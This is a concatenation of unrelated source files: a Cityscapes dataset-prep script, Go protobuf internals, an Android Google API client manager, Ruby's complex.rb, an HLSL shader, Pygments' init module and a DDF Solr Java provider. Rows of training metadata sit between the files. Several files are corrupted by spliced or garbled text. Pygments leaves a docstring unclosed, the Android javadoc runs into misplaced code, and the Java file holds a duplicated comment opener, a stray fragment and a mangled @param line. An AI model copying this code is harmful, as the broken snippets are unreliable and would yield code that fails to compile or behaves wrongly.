sys.path.append(root_path)
from segmentron.utils import makedirs, check_sha1
_TARGET_DIR = os.path.expanduser('~/.torch/datasets/citys')
def parse_args():
parser = argparse.ArgumentParser(
description='Initialize ADE20K dataset.',
epilog='Example: python prepare_cityscapes.py',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--download-dir', default=None, help='dataset directory on disk')
args = parser.parse_args()
return args
def download_city(path, overwrite=False):
_CITY_DOWNLOAD_URLS = [
('gtFine_trainvaltest.zip', '99f532cb1af174f5fcc4c5bc8feea8c66246ddbc'),
('leftImg8bit_trainvaltest.zip', '2c0b77ce9933cc635adda307fbba5566f5d9d404')]
download_dir = os.path.join(path, 'downloads')
makedirs(download_dir)
for filename, checksum in _CITY_DOWNLOAD_URLS:
if not check_sha1(filename, checksum):
raise UserWarning('File {} is downloaded but the content hash does not match. ' \
'The repo may be outdated or download may be incomplete. ' \
'If the "repo_url" is overridden, consider switching to ' \
'the default repo.'.format(filename))
# extract
with zipfile.ZipFile(filename, "r") as zip_ref:
zip_ref.extractall(path=path)
print("Extracted", filename)
if __name__ == '__main__':
args = parse_args()
makedirs(os.path.expanduser('~/.torch/datasets'))
if args.download_dir is not None:
if os.path.isdir(_TARGET_DIR):
os.remove(_TARGET_DIR)
# make symlink
os.symlink(args.download_dir, _TARGET_DIR)
else:
download_city(_TARGET_DIR, overwrite=False)
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 1.555291771888733,
"baseline_truncated": false,
"doc_advantage_score": 1.1401700973510742,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 1.364087462425232,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 1985,
"total_sentences": 5,
"truncated": false
}
|
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package impl
import (
"reflect"
"google.golang.org/protobuf/internal/descopts"
"google.golang.org/protobuf/internal/encoding/messageset"
ptag "google.golang.org/protobuf/internal/encoding/tag"
"google.golang.org/protobuf/internal/filedesc"
"google.golang.org/protobuf/internal/pragma"
pref "google.golang.org/protobuf/reflect/protoreflect"
preg "google.golang.org/protobuf/reflect/protoregistry"
piface "google.golang.org/protobuf/runtime/protoiface"
)
func (xi *ExtensionInfo) initToLegacy() {
xd := xi.desc
var parent piface.MessageV1
messageName := xd.ContainingMessage().FullName()
if mt, _ := preg.GlobalTypes.FindMessageByName(messageName); mt != nil {
// Create a new parent message and unwrap it if possible.
mv := mt.New().Interface()
t := reflect.TypeOf(mv)
if mv, ok := mv.(unwrapper); ok {
t = reflect.TypeOf(mv.protoUnwrap())
}
// Check whether the message implements the legacy v1 Message interface.
mz := reflect.Zero(t).Interface()
if mz, ok := mz.(piface.MessageV1); ok {
parent = mz
}
}
// Determine the v1 extension type, which is unfortunately not the same as
// the v2 ExtensionType.GoType.
extType := xi.goType
switch extType.Kind() {
case reflect.Bool, reflect.Int32, reflect.Int64, reflect.Uint32, reflect.Uint64, reflect.Float32, reflect.Float64, reflect.String:
extType = reflect.PtrTo(extType) // T -> *T for singular scalar fields
}
// Reconstruct the legacy enum full name.
var enumName string
if xd.Kind() == pref.EnumKind {
enumName = legacyEnumName(xd.Enum())
}
// Derive the proto file that the extension was declared within.
var filename string
if fd := xd.ParentFile(); fd != nil {
filename = fd.Path()
}
// For MessageSet extensions, the name used is the parent message.
name := xd.FullName()
if messageset.IsMessageSetExtension(xd) {
name = name.Parent()
}
xi.ExtendedType = parent
xi.ExtensionType = reflect.Zero(extType).Interface()
xi.Field = int32(xd.Number())
xi.Name = string(name)
xi.Tag = ptag.Marshal(xd, enumName)
xi.Filename = filename
}
// initFromLegacy initializes an ExtensionInfo from
// the contents of the deprecated exported fields of the type.
func (xi *ExtensionInfo) initFromLegacy() {
// The v1 API returns "type incomplete" descriptors where only the
// field number is specified. In such a case, use a placeholder.
if xi.ExtendedType == nil || xi.ExtensionType == nil {
xd := placeholderExtension{
name: pref.FullName(xi.Name),
number: pref.FieldNumber(xi.Field),
}
xi.desc = extensionTypeDescriptor{xd, xi}
return
}
// Resolve enum or message dependencies.
var ed pref.EnumDescriptor
var md pref.MessageDescriptor
t := reflect.TypeOf(xi.ExtensionType)
isOptional := t.Kind() == reflect.Ptr && t.Elem().Kind() != reflect.Struct
isRepeated := t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8
if isOptional || isRepeated {
t = t.Elem()
}
switch v := reflect.Zero(t).Interface().(type) {
case pref.Enum:
ed = v.Descriptor()
case enumV1:
ed = LegacyLoadEnumDesc(t)
case pref.ProtoMessage:
md = v.ProtoReflect().Descriptor()
case messageV1:
md = LegacyLoadMessageDesc(t)
}
// Derive basic field information from the struct tag.
var evs pref.EnumValueDescriptors
if ed != nil {
evs = ed.Values()
}
fd := ptag.Unmarshal(xi.Tag, t, evs).(*filedesc.Field)
// Construct a v2 ExtensionType.
xd := &filedesc.Extension{L2: new(filedesc.ExtensionL2)}
xd.L0.ParentFile = filedesc.SurrogateProto2
xd.L0.FullName = pref.FullName(xi.Name)
xd.L1.Number = pref.FieldNumber(xi.Field)
xd.L1.Cardinality = fd.L1.Cardinality
xd.L1.Kind = fd.L1.Kind
xd.L2.IsPacked = fd.L1.IsPacked
xd.L2.Default = fd.L1.Default
xd.L1.Extendee = Export{}.MessageDescriptorOf(xi.ExtendedType)
xd.L2.Enum = ed
xd.L2.Message = md
// Derive real extension field name for MessageSets.
if messageset.IsMessageSet(xd.L1.Extendee) && md.FullName() == xd.L0.FullName {
xd.L0.FullName = xd.L0.FullName.Append(messageset.ExtensionName)
}
tt := reflect.TypeOf(xi.ExtensionType)
if isOptional {
tt = tt.Elem()
}
xi.goType = tt
xi.desc = extensionTypeDescriptor{xd, xi}
}
type placeholderExtension struct {
name pref.FullName
number pref.FieldNumber
}
func (x placeholderExtension) ParentFile() pref.FileDescriptor { return nil }
func (x placeholderExtension) Parent() pref.Descriptor { return nil }
func (x placeholderExtension) Index() int { return 0 }
func (x placeholderExtension) Syntax() pref.Syntax { return 0 }
func (x placeholderExtension) Name() pref.Name { return x.name.Name() }
func (x placeholderExtension) FullName() pref.FullName { return x.name }
func (x placeholderExtension) IsPlaceholder() bool { return true }
func (x placeholderExtension) Options() pref.ProtoMessage { return descopts.Field }
func (x placeholderExtension) Number() pref.FieldNumber { return x.number }
func (x placeholderExtension) Cardinality() pref.Cardinality { return 0 }
func (x placeholderExtension) Kind() pref.Kind { return 0 }
func (x placeholderExtension) HasJSONName() bool { return false }
func (x placeholderExtension) JSONName() string { return "[" + string(x.name) + "]" }
func (x placeholderExtension) TextName() string { return "[" + string(x.name) + "]" }
func (x placeholderExtension) HasPresence() bool { return false }
func (x placeholderExtension) HasOptionalKeyword() bool { return false }
func (x placeholderExtension) IsExtension() bool { return true }
func (x placeholderExtension) IsWeak() bool { return false }
func (x placeholderExtension) IsPacked() bool { return false }
func (x placeholderExtension) IsList() bool { return false }
func (x placeholderExtension) IsMap() bool { return false }
func (x placeholderExtension) MapKey() pref.FieldDescriptor { return nil }
func (x placeholderExtension) MapValue() pref.FieldDescriptor { return nil }
func (x placeholderExtension) HasDefault() bool { return false }
func (x placeholderExtension) Default() pref.Value { return pref.Value{} }
func (x placeholderExtension) DefaultEnumValue() pref.EnumValueDescriptor { return nil }
func (x placeholderExtension) ContainingOneof() pref.OneofDescriptor
| null | 0
|
{
"advantage_score_max": 7.397628307342529,
"advantage_score_mean": 3.7363460063934326,
"advantage_score_min": 1.3816733360290527,
"advantage_score_std": 1.9850492477416992,
"advantage_scores": [
7.397628307342529,
7.370678424835205,
6.140883445739746,
5.657515048980713,
4.8683319091796875,
4.850942134857178,
3.4254562854766846,
3.165858507156372,
3.0690248012542725,
2.8353354930877686,
2.432899236679077,
2.3809540271759033,
1.6379594802856445,
1.6136008501052856,
1.5527939796447754,
1.3816733360290527
],
"baseline_doc_loss": 1.086216926574707,
"baseline_truncated": false,
"doc_advantage_score": 10.338982582092285,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.10506033152341843,
"target_truncated": false,
"threshold_passing_sentences": 16,
"total_doc_length_chars": 6873,
"total_sentences": 21,
"truncated": false
}
|
{"version":3,"file":"AsyncSubject.js","sources":["src/AsyncSubject.ts"],"names":[],"mappings":";;;;;AAAA,8CAAyC"}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
package com.o3dr.services.android.lib.util.googleApi;
import android.content.Context;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.GooglePlayServicesUtil;
import com.google.android.gms.common.api.Api;
import com.google.android.gms.common.api.GoogleApiClient;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Handles the lifecycle for the google api client. Also takes care of running submitted tasks
* when the google api client is connected.
*/
public class GoogleApiClientManager implements GoogleApiClient.ConnectionCallbacks, GoogleApiClient.OnConnectionFailedListener {
private final static String TAG = GoogleApiClientManager.class.getSimpleName();
public interface ManagerListener {
void onGoogleApiConnectionError(ConnectionResult result);
void onUnavailableGooglePlayServices(int status);
void onManagerStarted();
void onManagerStopped();
}
/**
* Manager background thread used to run the submitted google api client tasks.
*/
private final Runnable mDriverRunnable = new Runnable() {
@Override
public void run() {
try {
while (isStarted.get()) {
if (!mGoogleApiClient.isConnected()) {
stop();
continue;
}
final GoogleApiClientTask task = mTaskQueue.take();
if (task == null)
continue;
if (task.mRunOnBackgroundThread) {
mBgHandler.post(task);
} else {
mMainHandler.post(task);
}
}
} catch (InterruptedException e) {
Log.v(TAG, e.getMessage(), e);
}
}
};
private final GoogleApiClientTask stopTask = new GoogleApiClientTask() {
@Override
protected void doRun() {
stop();
}
};
private final AtomicBoolean isStarted = new AtomicBoolean(false);
private Thread mDriverThread;
/**
* This handler is in charge of running google api client tasks on the calling thread.
*/
private final Handler mMainHandler;
/**
* This handler is in charge of running google api client tasks on the background thread.
*/
private Handler mBgHandler;
private HandlerThread mBgHandlerThread;
/**
* Application context.
*/
private final Context mContext;
/**
* Handle to the google api client.
*/
private final GoogleApiClient mGoogleApiClient;
private ManagerListener listener;
/**
* Holds tasks that needs to be run using the google api client.
* A background thread will be blocking on this queue until new tasks are inserted. In which
* case, it will retrieve the new task, and process it.
*/
private final LinkedBlockingQueue<GoogleApiClientTask> mTaskQueue = new LinkedBlockingQueue<>();
public GoogleApiClientManager(Context context, Handler handler,
Api<? extends Api.ApiOptions.NotRequiredOptions>[] apis) {
mContext = context;
mMainHandler = handler;
final GoogleApiClient.Builder apiBuilder = new GoogleApiClient.Builder(context);
for (Api<? extends Api.ApiOptions.NotRequiredOptions> api : apis) {
apiBuilder.addApi(api);
}
mGoogleApiClient = apiBuilder
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.build();
}
public void setManagerListener(ManagerListener listener) {
this.listener = listener;
}
private void destroyBgHandler() {
if (mBgHandlerThread != null && mBgHandlerThread.isAlive()) {
mBgHandlerThread.quit();
mBgHandlerThread.interrupt();
mBgHandlerThread = null;
}
mBgHandler = null;
}
private void destroyDriverThread() {
if (mDriverThread != null && mDriverThread.isAlive()) {
mDriverThread.interrupt();
mDriverThread = null;
}
}
private void initializeBgHandler() {
if (mBgHandlerThread == null || mBgHandlerThread.isInterrupted()) {
mBgHandlerThread = new HandlerThread("GAC Manager Background Thread");
mBgHandlerThread.start();
mBgHandler = null;
}
if (mBgHandler == null) {
mBgHandler = new Handler(mBgHandlerThread.getLooper());
}
}
private void initializeDriverThread() {
if (mDriverThread == null || mDriverThread.isInterrupted()) {
mDriverThread = new Thread(mDriverRunnable, "GAC Manager Driver Thread");
mDriverThread.start();
}
}
/**
* Adds a task to the google api client manager tasks queue. This task will be scheduled to
* run on the calling thread.
*
* @param task task making use of the google api client.
* @return true if the task was successfully added to the queue.
* @throws IllegalStateException is the start() method was not called.
*/
public boolean addTask(GoogleApiClientTask task) {
if (!isStarted()) {
Log.d(TAG, "GoogleApiClientManager is not started.");
return false;
}
task.gApiClient = mGoogleApiClient;
task.taskQueue = mTaskQueue;
task.mRunOnBackgroundThread = false;
return mTaskQueue.offer(task);
}
/**
* Adds a task to the google api client manager tasks queue. This task will be scheduled to
* run on a background thread.
*
* @param task task making use of the google api client.
* @return true if the task was successfully added to the queue.
* @throws IllegalStateException is the start() method was not called.
@throws IllegalStateException if the start() method has not been called.");
return false;
}
task.gApiClient = mGoogleApiClient;
task.taskQueue = mTaskQueue;
task.mRunOnBackgroundThread = true;
return mTaskQueue.offer(task);
}
/**
* @return true the google api client manager was started.
*/
private boolean isStarted() {
return isStarted.get();
}
/**
* Activates the google api client manager.
*/
public void start() {
//Check if google play services is available.
final int playStatus = GooglePlayServicesUtil.isGooglePlayServicesAvailable(mContext);
final boolean isValid = playStatus == ConnectionResult.SUCCESS;
if (isValid) {
//Clear the queue
mTaskQueue.clear();
//Toggle the started flag
isStarted.set(true);
if (mGoogleApiClient.isConnected()) {
onConnected(null);
} else if (!mGoogleApiClient.isConnecting()) {
//Connect to the google api.
mGoogleApiClient.connect();
}
} else {
Log.e(TAG, "Google Play Services is unavailable.");
if (listener != null)
listener.onUnavailableGooglePlayServices(playStatus);
}
}
// private boolean isGooglePlayServicesValid(){
// // Check for the google play services is available
//
// if(!isValid){
// PendingIntent errorPI = GooglePlayServicesUtil.getErrorPendingIntent(playStatus, mContext, 0);
// if(errorPI != null){
// try {
// errorPI.send();
// } catch (PendingIntent.CanceledException e) {
// Log.e(TAG, "Seems the pending intent was cancelled.", e);
// }
// }
// }
//
// return isValid;
// }
/**
* Release the resources used by this manager.
* After calling this method, start() needs to be called again to use that manager again.
*/
private void stop() {
isStarted
| null | 1
|
{
"advantage_score_max": 5.223710536956787,
"advantage_score_mean": 2.571885824203491,
"advantage_score_min": 1.1911907196044922,
"advantage_score_std": 1.307605504989624,
"advantage_scores": [
5.223710536956787,
3.705487012863159,
2.1906843185424805,
2.1110081672668457,
2.0791923999786377,
1.5019267797470093,
1.1911907196044922
],
"baseline_doc_loss": 0.7060725092887878,
"baseline_truncated": false,
"doc_advantage_score": 0.9923463463783264,
"length_change_ratio": 0.45,
"net_length_change_chars": -88,
"original_sentences_length_chars": 160,
"replacement_paraphrases_length_chars": 72,
"sentences_perturbed": 1,
"target_doc_loss": 0.7115182280540466,
"target_truncated": false,
"threshold_passing_sentences": 7,
"total_doc_length_chars": 8324,
"total_sentences": 33,
"truncated": false
}
|
#
# complex.rb -
# $Release Version: 0.5 $
# $Revision: 1.3 $
# $Date: 1998/07/08 10:05:28 $
# by Keiju ISHITSUKA(SHL Japan Inc.)
#
# ----
#
# complex.rb implements the Complex class for complex numbers. Additionally,
# some methods in other Numeric classes are redefined or added to allow greater
# interoperability with Complex numbers.
#
# Complex numbers can be created in the following manner:
# - <tt>Complex(a, b)</tt>
# - <tt>Complex.polar(radius, theta)</tt>
#
# Additionally, note the following:
# - <tt>Complex::I</tt> (the mathematical constant <i>i</i>)
# - <tt>Numeric#im</tt> (e.g. <tt>5.im -> 0+5i</tt>)
#
# The following +Math+ module methods are redefined to handle Complex arguments.
# They will work as normal with non-Complex arguments.
# sqrt exp cos sin tan log log10
# cosh sinh tanh acos asin atan atan2 acosh asinh atanh
#
#
# Numeric is a built-in class on which Fixnum, Bignum, etc., are based. Here
# some methods are added so that all number types can be treated to some extent
# as Complex numbers.
#
class Numeric
#
# Returns a Complex number <tt>(0,<i>self</i>)</tt>.
#
def im
Complex(0, self)
end
#
# The real part of a complex number, i.e. self.
#
def real
self
end
#
# The imaginary part of a complex number, i.e. 0.
#
def image
0
end
alias imag image
#
# See Complex#arg.
#
def arg
if self >= 0
return 0
else
return Math::PI
end
end
alias angle arg
#
# See Complex#polar.
#
def polar
return abs, arg
end
#
# See Complex#conjugate (short answer: returns <i>self</i>).
#
def conjugate
self
end
alias conj conjugate
end
#
# Creates a Complex number. +a+ and +b+ should be Numeric. The result will be
# <tt>a+bi</tt>.
#
def Complex(a, b = 0)
if b == 0 and (a.kind_of?(Complex) or defined? Complex::Unify)
a
else
Complex.new( a.real-b.imag, a.imag+b.real )
end
end
#
# The complex number class. See complex.rb for an overview.
#
class Complex < Numeric
@RCS_ID='-$Id: complex.rb,v 1.3 1998/07/08 10:05:28 keiju Exp keiju $-'
undef step
undef div, divmod
undef floor, truncate, ceil, round
def Complex.generic?(other) # :nodoc:
other.kind_of?(Integer) or
other.kind_of?(Float) or
(defined?(Rational) and other.kind_of?(Rational))
end
#
# Creates a +Complex+ number in terms of +r+ (radius) and +theta+ (angle).
#
def Complex.polar(r, theta)
Complex(r*Math.cos(theta), r*Math.sin(theta))
end
#
# Creates a +Complex+ number <tt>a</tt>+<tt>b</tt><i>i</i>.
#
def Complex.new!(a, b=0)
new(a,b)
end
def initialize(a, b)
raise TypeError, "non numeric 1st arg `#{a.inspect}'" if !a.kind_of? Numeric
raise TypeError, "`#{a.inspect}' for 1st arg" if a.kind_of? Complex
raise TypeError, "non numeric 2nd arg `#{b.inspect}'" if !b.kind_of? Numeric
raise TypeError, "`#{b.inspect}' for 2nd arg" if b.kind_of? Complex
@real = a
@image = b
end
#
# Addition with real or complex number.
#
def + (other)
if other.kind_of?(Complex)
re = @real + other.real
im = @image + other.image
Complex(re, im)
elsif Complex.generic?(other)
Complex(@real + other, @image)
else
x , y = other.coerce(self)
x + y
end
end
#
# Subtraction with real or complex number.
#
def - (other)
if other.kind_of?(Complex)
re = @real - other.real
im = @image - other.image
Complex(re, im)
elsif Complex.generic?(other)
Complex(@real - other, @image)
else
x , y = other.coerce(self)
x - y
end
end
#
# Multiplication with real or complex number.
#
def * (other)
if other.kind_of?(Complex)
re = @real*other.real - @image*other.image
im = @real*other.image + @image*other.real
Complex(re, im)
elsif Complex.generic?(other)
Complex(@real * other, @image * other)
else
x , y = other.coerce(self)
x * y
end
end
#
# Division by real or complex number.
#
def / (other)
if other.kind_of?(Complex)
self*other.conjugate/other.abs2
elsif Complex.generic?(other)
Complex(@real/other, @image/other)
else
x, y = other.coerce(self)
x/y
end
end
def quo(other)
Complex(@real.quo(1), @image.quo(1)) / other
end
#
# Raise this complex number to the given (real or complex) power.
#
def ** (other)
if other == 0
return Complex(1)
end
if other.kind_of?(Complex)
r, theta = polar
ore = other.real
oim = other.image
nr = Math.exp!(ore*Math.log!(r) - oim * theta)
ntheta = theta*ore + oim*Math.log!(r)
Complex.polar(nr, ntheta)
elsif other.kind_of?(Integer)
if other > 0
x = self
z = x
n = other - 1
while n != 0
while (div, mod = n.divmod(2)
mod == 0)
x = Complex(x.real*x.real - x.image*x.image, 2*x.real*x.image)
n = div
end
z *= x
n -= 1
end
z
else
if defined? Rational
(Rational(1) / self) ** -other
else
self ** Float(other)
end
end
elsif Complex.generic?(other)
r, theta = polar
Complex.polar(r**other, theta*other)
else
x, y = other.coerce(self)
x**y
end
end
#
# Remainder after division by a real or complex number.
#
def % (other)
if other.kind_of?(Complex)
Complex(@real % other.real, @image % other.image)
elsif Complex.generic?(other)
Complex(@real % other, @image % other)
| null | 1
|
{
"advantage_score_max": 6.881125450134277,
"advantage_score_mean": 2.7026093006134033,
"advantage_score_min": 1.1460953950881958,
"advantage_score_std": 1.8572317361831665,
"advantage_scores": [
6.881125450134277,
6.4170427322387695,
4.999011993408203,
4.806168556213379,
3.338296890258789,
3.0227608680725098,
2.1989729404449463,
2.038694381713867,
1.7187073230743408,
1.5136981010437012,
1.43587327003479,
1.386915922164917,
1.3724863529205322,
1.2633049488067627,
1.2243852615356445,
1.180818796157837,
1.1460953950881958
],
"baseline_doc_loss": 0.9122132658958435,
"baseline_truncated": false,
"doc_advantage_score": 0.9544923901557922,
"length_change_ratio": 0.4166666666666667,
"net_length_change_chars": -7,
"original_sentences_length_chars": 12,
"replacement_paraphrases_length_chars": 5,
"sentences_perturbed": 1,
"target_doc_loss": 0.9557051062583923,
"target_truncated": false,
"threshold_passing_sentences": 17,
"total_doc_length_chars": 5560,
"total_sentences": 57,
"truncated": false
}
|
//-----------------------------------------------------------------------------
// Copyright (c) 2012 GarageGames, LLC
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//-----------------------------------------------------------------------------
//*****************************************************************************
// Box Filter
//*****************************************************************************
//-----------------------------------------------------------------------------
// Structures
//-----------------------------------------------------------------------------
#include "../ShaderModel.hlsl"
struct VertData
{
float3 position : POSITION;
float2 texCoord : TEXCOORD0;
};
struct ConnectData
{
float4 hpos : TORQUE_POSITION;
float2 tex0 : TEXCOORD0;
};
//-----------------------------------------------------------------------------
// Main
//-----------------------------------------------------------------------------
ConnectData main( VertData IN,
uniform float4x4 modelview : register(C0))
{
ConnectData OUT;
OUT.hpos = mul(modelview, float4(IN.position,1.0));
OUT.tex0 = IN.texCoord;
return OUT;
}
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.7754673957824707,
"baseline_truncated": false,
"doc_advantage_score": 1.478703260421753,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.5244239568710327,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 2398,
"total_sentences": 4,
"truncated": false
}
|
{
"$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentParameters.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"factoryName": {
"value": "akMDWHackBasic"
}
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
# -*- coding: utf-8 -*-
"""
Pygments
~~~~~~~~
Pygments is a syntax highlighting package written in Python.
It is a generic syntax highlighter for general use in all kinds of software
such as forum systems, wikis or other applications that need to prettify
source code. Highlights are:
* a wide range of common languages and markup formats is supported
* special attention is paid to details, increasing quality by a fair amount
* support for new languages and formats are added easily
* a number of output formats, presently HTML, LaTeX, RTF, SVG and ANSI sequences
* it is usable as a command-line tool and as a library
* ... and it highlights even Brainfuck!
The `Pygments tip`_ is installable with ``easy_install Pygments==dev``.
.. _Pygments tip: http://dev.pocoo.org/hg/pygments-main/archive/tip.tar.gz#egg=Pygments-dev
:copyright: 2006-2008 by Georg Brandl, Armin Ronacher and others.
:license: BSD, refer to LICENSE for further information
__version__ = '1.0'
__author__ = 'Georg Brandl <g.brandl@gmx.net>'
__url__ = 'http://pygments.org/'
__license__ = 'BSD License'
__docformat__ = 'restructuredtext'
__all__ = ['lex', 'format', 'highlight']
import sys, os
from StringIO import StringIO
from cStringIO import StringIO as CStringIO
def lex(code, lexer):
"""
Lex ``code`` with ``lexer`` and return an iterable of tokens.
"""
try:
return lexer.get_tokens(code)
except TypeError, err:
if isinstance(err.args[0], str) and \
'unbound method get_tokens' in err.args[0]:
raise TypeError('lex() argument must be a lexer instance, '
'not a class')
raise
def format(tokens, formatter, outfile=None):
"""
Format a tokenlist ``tokens`` with the formatter ``formatter``.
If ``outfile`` is given and a valid file object (an object
with a ``write`` method), the result will be written to it, otherwise
it is returned as a string.
"""
try:
if not outfile:
# if we want Unicode output, we have to use Python StringIO
realoutfile = formatter.encoding and CStringIO() or StringIO()
formatter.format(tokens, realoutfile)
return realoutfile.getvalue()
else:
formatter.format(tokens, outfile)
except TypeError, err:
if isinstance(err.args[0], str) and \
'unbound method format' in err.args[0]:
raise TypeError('format() argument must be a formatter instance, '
'not a class')
raise
def highlight(code, lexer, formatter, outfile=None):
"""
Lex ``code`` with ``lexer`` and format it with the formatter ``formatter``.
If ``outfile`` is given and a valid file object (an object
with a ``write`` method), the result will be written to it, otherwise
it is returned as a string.
"""
return format(lex(code, lexer), formatter, outfile)
if __name__ == '__main__':
from pygments.cmdline import main
sys.exit(main(sys.argv))
| null | 1
|
{
"advantage_score_max": 9.078022956848145,
"advantage_score_mean": 4.189874172210693,
"advantage_score_min": 1.449001431465149,
"advantage_score_std": 3.464927911758423,
"advantage_scores": [
9.078022956848145,
2.042597532272339,
1.449001431465149
],
"baseline_doc_loss": 0.7547787427902222,
"baseline_truncated": false,
"doc_advantage_score": 0.779536247253418,
"length_change_ratio": 1.1458333333333333,
"net_length_change_chars": 7,
"original_sentences_length_chars": 48,
"replacement_paraphrases_length_chars": 55,
"sentences_perturbed": 1,
"target_doc_loss": 0.9682407379150391,
"target_truncated": false,
"threshold_passing_sentences": 3,
"total_doc_length_chars": 3083,
"total_sentences": 12,
"truncated": false
}
|
/**
* Copyright (c) Codice Foundation
*
* <p>This is free software: you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation, either version 3 of
* the License, or any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details. A copy of the GNU Lesser General Public
* License is distributed along with this program and can be found at
* <http://www.gnu.org/licenses/lgpl.html>.
*/
package ddf.catalog.source.solr;
import ddf.catalog.data.ContentType;
import ddf.catalog.filter.FilterAdapter;
import ddf.catalog.operation.CreateRequest;
import ddf.catalog.operation.CreateResponse;
import ddf.catalog.operation.DeleteRequest;
import ddf.catalog.operation.DeleteResponse;
import ddf.catalog.operation.QueryRequest;
import ddf.catalog.operation.SourceResponse;
import ddf.catalog.operation.UpdateRequest;
import ddf.catalog.operation.UpdateResponse;
import ddf.catalog.source.CatalogProvider;
import ddf.catalog.source.IngestException;
import ddf.catalog.source.SourceMonitor;
import ddf.catalog.source.UnsupportedQueryException;
import ddf.catalog.util.impl.MaskableImpl;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;
import java.util.Set;
import javax.annotation.Nullable;
import org.codice.solr.client.solrj.SolrClient;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/** Common base class for all remote Solr Catalog providers. /**
* Remote Solr Catalog providers.
*/
public abstract class RemoteSolrCatalogProvider extends MaskableImpl implements CatalogProvider {
private static final Logger LOGGER = LoggerFactory.getLogger(RemoteSolrCatalogProvider.class);
private static final String DESCRIBABLE_PROPERTIES_FILE = "/describable.properties";
private static final Properties DESCRIBABLE_PROPERTIES = new Properties();
static {
try (InputStream inputStream =
RemoteSolrCatalogProvider.class.getResourceAsStream(DESCRIBABLE_PROPERTIES_FILE)) {
DESCRIBABLE_PROPERTIES.load(inputStream);
} catch (IOException e) {
LOGGER.warn("Failed to load properties file.", e);
}
}.", e);
}
}
protected static final String SOLR_CATALOG_CORE_NAME = "catalog";
private final SolrCatalogProviderImpl provider;
/**
* Constructor.
*
* @param filterAdapter filter adaptor this provider will use
* @param client client this provider will use to connect to Solr
* @param solrFilterDelegateFactory Solr filter delegate factory this provider will use
* @pIf this argument is {@code null}, a default schema resolver will be used automatically.ll be used
* if this parameter is {@code null}.
*/
public RemoteSolrCatalogProvider(
FilterAdapter filterAdapter,
SolrClient client,
SolrFilterDelegateFactory solrFilterDelegateFactory,
@Nullable DynamicSchemaResolver resolver) {
this.provider =
new SolrCatalogProviderImpl(
client,
filterAdapter,
solrFilterDelegateFactory,
(resolver == null) ? new DynamicSchemaResolver() : resolver);
provider.maskId(getId());
}
@Override
public void maskId(String id) {
super.maskId(id);
provider.maskId(id);
}
/**
* Used to signal to the Solr client to commit on every transaction. Updates the underlying {@link
* ConfigurationStore} so that the property is propagated throughout the Solr Catalog Provider
* code.
*
* @param forceAutoCommit {@code true} to force auto-commits
*/
public void setForceAutoCommit(boolean forceAutoCommit) {
